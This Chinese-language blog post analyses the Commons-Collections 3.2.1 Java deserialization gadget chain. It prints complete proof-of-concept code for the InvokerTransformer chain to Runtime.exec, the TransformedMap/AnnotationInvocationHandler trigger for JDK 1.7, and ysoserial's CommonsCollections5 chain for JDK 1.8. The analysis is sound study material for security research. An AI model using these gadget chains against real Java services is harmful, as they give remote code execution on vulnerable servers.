Yoga7xm's Blog

Commons-Collections 反序列化简析

字数统计: 2.7k阅读时长: 13 min
2019/08/23 Share

前言

Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

官方文档:传送门

在jdk1.8某个版本之后不能复现成功,所以这里我使用的是jdk1.7+commons-collections-3.2.1

Maven

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

POP Chains

先来看一看RCE的这块POC

1
2
3
4
5
6
7
8
9
10
11
12
public class chains {
public static void main(String[] argv) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
Transformer chain = new ChainedTransformer(transformers);
chain.transform(chain);
}
}

POP 链分析

从POC来看,很明显是通过反射去调Runtime().exec(),一步步跟进看看

这个构造函数只干了两件事:调了父类的构造函数(空的)和将传入的Object对象constantToReturn赋给iConstant,继续来看下一个

1
2
3
4
5
6
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

同样的,这个构造函数主要是将传入的参数赋值给iMethodNameiParamTypesiArgs三个参数,下一个

1
2
3
4
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}

初始化,将传入的Transformer数组对象赋值给iTransformers

跟进ChainedTransformer.transform()方法

也就是遍历数组iTransformers调用每个对象的transform()方法。对于ConstantTransformer类来说,transform方法仅仅返回了传入的object对象,所以跟进InvokerTransformer类

这里反射的几个函数的参数都是直接传入赋值的,完全可控,能够调用任意类方法。就是有点难理解,将数组中上一个transform返回的Object作为参数传入下一个的Object,类似递归

Runtime!!!

单独把RCE这块的逻辑给重新拿出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static void main(String[] args) throws Exception {

Object object = Runtime.class;
Class cls = object.getClass();

Method method = cls.getMethod("getMethod", String.class, Class[].class);
object = method.invoke(object,"getRuntime",new Class[0]);

cls = object.getClass();
method = cls.getMethod("invoke",Object.class,Object[].class);
object = method.invoke(object,null,new Object[0]);

cls = object.getClass();
method = cls.getMethod("exec",String.class);
object = method.invoke(object,"calc.exe");
}

object最开始为java.lang.Runtime对象,调用getClass()方法返回Java.lang.Class对象,紧接着调用cls的getMethod()方法,传入的参数为getMethod

public Method getMethod(String name, Class<?>… parameterTypes)throws NoSuchMethodException,SecurityException

返回一个 Method 对象,它反映此 Class 对象所表示的类或接口的指定公共成员方法。name 参数是一个 String,用于指定所需方法的简称。parameterTypes 参数是按声明顺序标识该方法形参类型的 Class 对象的一个数组。如果 parameterTypes 为 null,则按空数组处理。

根据文档,返回一个java.lang.reflect.Method对象表示获取到的getMethod方法。

然后invoke是调用了刚刚获取到的getMethod(),而这个getMethod()是去获取getRuntime()方法,所以返回与上一步一样的Method对象表示getRuntime方法,并赋给object

继续调用object.getClass()方法,cls得到java.lang.reflect.Method对象,同理调用getMethod()获取到invoke方法,然后真正调用getRuntime,object拿到Runtime实例

再次调用object.getClass(),cls得到java.lang.Runtime对象,调用getMethod()获取到exec方法,最后将calc.exe传入并调用此方法,完成RCE

其实这段POC等价于

1
2
3
4
5
public static void main(String[] args) throws Exception {
Method method = Runtime.class.getMethod("getRuntime",null);
Runtime runtime = (Runtime) method.invoke(null,null);
runtime.exec("calc.exe");
}

这里附上师傅的时序图:

其实还有一种更简单的方法

1
2
3
4
Object object = Runtime.getRuntime();
Class cls = object.getClass();
Method method = cls.getMethod("exec", String.class);
method.invoke(object,"calc.exe");

也就是

1
2
3
4
5
6
7
8
public static void main(String[] argv) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}),
};
Transformer chain = new ChainedTransformer(transformers);
chain.transform(chain);
}

TransformedMap

继续补全POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static void main(String[] args) throws Exception {
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};

Transformer chain = new ChainedTransformer(transformers_exec);

Map innerMap = new HashMap();
innerMap.put("Key", "Value");

//将普通的 Map 转换为 TransformedMap
Map outerMap = TransformedMap.decorate(innerMap, null, chain);
Iterator localIterator = outerMap.entrySet().iterator();
Map.Entry localEntry = (Map.Entry) localIterator.next();
localEntry.setValue("poc");
}

打上断点走一遍

decorate

1
2
3
4
5
6
7
8
9
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

这个decorate()函数直接将传入的Map类对象转成TransformedMap类对象并且返回

HashMap 遍历之术

这里顺便提下几种遍历Hashmap的方法

0x01 entrySet

步骤

  1. 根据entrySet()获取HashMap的键值对的Set集合
  2. 通过Iterator迭代器遍历刚刚的集合

Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static void main(String[] args) {

Map map = new HashMap();
map.put("one",1);
map.put("two",2);
map.put("three",3);
map.put("four",4);

Iterator iter = map.entrySet().iterator();
while (iter.hasNext()){
Map.Entry entry = (Map.Entry) iter.next();
System.out.println("Key-Value is "+entry.getKey()+"-"+entry.getValue());
}
}

0x02 keySet

步骤

  1. 根据keySet()获取HashMap的键的Set集合
  2. 通过Iterator迭代器遍历刚刚的集合

Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static void main(String[] args) {

Map map = new HashMap();
map.put("one",1);
map.put("two",2);
map.put("three",3);
map.put("four",4);

Iterator iter = map.keySet().iterator();
while (iter.hasNext()){
String key = (String)iter.next();
System.out.println("Key-Value is "+key+"-"+map.get(key));
}
}

0x03 values

步骤

  1. 根据values()获取HashMap的值的集合
  2. 通过Iterator迭代器遍历刚刚的集合,不能遍历key

Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static void main(String[] args) {

Map map = new HashMap();
map.put("one",1);
map.put("two",2);
map.put("three",3);
map.put("four",4);

Collection collection = map.values();
Iterator iterator = collection.iterator();
while (iterator.hasNext()){
System.out.println(iterator.next());
}
}

0x04 entrySet

使用foreach map.entrySet(),用临时变量保存map.entrySet()

Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
public static void main(String[] args) {

Map map = new HashMap();
map.put("one",1);
map.put("two",2);
map.put("three",3);
map.put("four",4);

Set<Map.Entry<String,Integer>> maps = map.entrySet();
for (Map.Entry<String,Integer> entry: maps){
System.out.println("Key-Value is "+entry.getKey()+"-"+entry.getValue());
}
}

SetValue

继续回来,POC用了entrySet()的方法去遍历HashMap

先获取HashMap的键值对的Set集合,然后通过迭代器去遍历

在最后修改value的时候,也就是setValue(),会去调用parent.checkSetValue()

1
2
3
4
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}

跟进这方法

此处的value就是传入的chains,回到之前的逻辑了

流程为:

1
setValue ==> checkSetValue ==> valueTransformer.transform(value)

这里附上师傅的时序图

ReadObject 触发

目前的POC还依赖于手动去调用setValue(),这样有点鸡肋,不过现在希望在反序列化数据时自动调用readObject(),触发Chains链

JDK1.7

来看这个POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public class common_collection5 {
public static void main(String[] args) throws Exception{
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};

Transformer chain = new ChainedTransformer(transformers_exec);

HashMap innerMap = new HashMap();
innerMap.put("value","admin");

Map outerMap = TransformedMap.decorate(innerMap,null,chain);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);

Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(ins);
oos.flush();
oos.close();

ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();
}
}

重点是sun.reflect.annotation.AnnotationInvocationHandler这个类,作为原生自带的,利用反射去实例化它,来看他重写之后的ReadObject()和构造方法

1
2
3
4
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
this.type = var1;
this.memberValues = var2;
}

构造函数比较简单,将传入的Retention.class赋给type,outMap赋给memberValues

在逻辑的最后出现了令人惊喜的setValue()方法,Debug跟踪一下

方法最开始实例化了我们传入的Retention.class,然后调用他的memberTypes()方法。var3为一个键值对,key为字符串value,value为class java.lang.annotation.RetentionPolicy。然后var4创建了一个outermap键值对的Set集合的迭代器,所以在接下来的循环中,var6为key值也就是字符串”value”,var7就是var3调用的get(“value”)得到的RetentionPolicy,所以put的hashmap的键名必须为value,否则var7为NULL,键值是除RetentionPolicyExceptionProxy之外的任意类对象就行

var8自然就是字符串”admin”,进入if判断中,很明显字符串var8既不是RetentionPolicy的实例,也不是ExceptionProxy的实例,于是调用了setValue(transformedmap),触发POP链

但是在jdk1.8之后,就不会有这个setValue

JDK1.8

但是在JDK1.8的时候,我们使用ysoserial中的CommonsCollections5的这条链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import javax.management.BadAttributeValueExpException;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class common_collection6 {
public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};

Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

BadAttributeValueExpException poc = new BadAttributeValueExpException(null);

// val是私有变量,所以利用下面方法进行赋值
Field valfield = poc.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(poc, entry);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(poc);
oos.flush();
oos.close();

ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object object = (Object) ois.readObject();
}
}

这个POC有处比较大的变化是,使用了LazyMap的decorate()创建数组,于是乎我们来看下这条利用链

LazyMap

1
2
3
4
5
6
7
8
9
10
11
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
.....
protected LazyMap(Map map, Factory factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = FactoryTransformer.getInstance(factory);
}

这里的decorate()返回一个LazyMap实例化对象,然后调用构造方法去初始化factory属性,这个factory是传入的Transformer对象,可控的。来看get方法

如果传入的key是map中不存在的键名,就会往下走,调用fatctory.transform(),前者为可控的对象,从而去触发POP链。但是怎样调用get()方法呢?

我们来看类org.apache.commons.collections.keyvalue.TiedMapEntry

getValue调用了map.get()方法,并且在之后重写的的toString()中调用了getValue()

只要调用TiedMapEntry.toString()就能够去触发执行链。而这个toString()就类似于PHP中的魔术方法__toString(),当对象被当做字符串处理的时候会自动调用这个方法

我们继续来看javax.management.BadAttributeValueExpException这个类的readObject()

下面这里直接调用了valObj的toString()方法,回溯这个valObj是传入的变量val,这变量是private的,不能直接外界赋值,但是可以通过反射的方式给他赋值为TiedMapEntry对象,这个对象与LazyMap有关,所以会去调用get(),触发POP链

1
readObject() --> TiedMapEntry.toString() --> TiedMapEntry.getValue() --> LazyMap.get() --> ChainedTransformer.transform() --> RCE

Reference

https://www.freebuf.com/vuls/175252.html

http://whip1ash.cn/2018/11/11/java-deserialization-2/

https://security.tencent.com/index.php/blog/msg/97

CATALOG
  1. 1. 前言
  2. 2. POP Chains
    1. 2.1. POP 链分析
    2. 2.2. Runtime!!!
  3. 3. TransformedMap
    1. 3.1. decorate
    2. 3.2. HashMap 遍历之术
      1. 3.2.1. 0x01 entrySet
      2. 3.2.2. 0x02 keySet
      3. 3.2.3. 0x03 values
      4. 3.2.4. 0x04 entrySet
    3. 3.3. SetValue
  4. 4. ReadObject 触发
    1. 4.1. JDK1.7
    2. 4.2. JDK1.8
      1. 4.2.1. LazyMap
  5. 5. Reference